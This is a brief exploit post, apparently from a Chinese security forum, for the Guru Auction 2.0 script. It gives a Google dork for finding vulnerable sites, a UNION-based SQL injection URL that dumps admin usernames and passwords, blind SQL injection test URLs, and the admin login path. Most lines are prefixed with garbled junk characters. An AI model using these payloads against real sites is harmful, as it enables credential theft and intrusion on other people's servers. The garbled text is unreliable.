Guru Auction 2.0多重sql注射

admin

Guru Auction 2.0 Multiple SQL Injection Vulnerabilities

7 ]% d: s% V( @- F& W作者     : v3n0m
$ W9 F; i3 h, d& N应用 : Guru Auction 2.0
Price       : $49
Vendor      : http://www.guruscript.com/
4 K2 z, H+ B) T. R' H) lGoogle Dork : inurl:subcat.php?cate_id=

; l  \: k) m2 A8 ZSQLi p0c:
: K/ o% g" f# \" `~~~~~~~~~~
+ L/ B( n. h4 w; \* ^* _# Y9 e  chttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--

7 V3 d+ B6 i4 C0 U' `( V! {
# N" T* b: `" I- n* p, G; x" S盲注 p0c:
' W) u3 ^' ]" A5 @2 {5 X~~~~~~~~~~
8 ^" F8 C: [- @: X7 thttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
+ J7 c* Y  P' x& Q2 A0 M* V, ^http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
* B: [" t# [. i5 m5 y# }( ^8 Q
管理登录入口:
7 P5 D+ ~6 e3 S/ i! H3 l! a2 d3 Y~~~~~~~~~~
http://domain.tld/[path]/admin/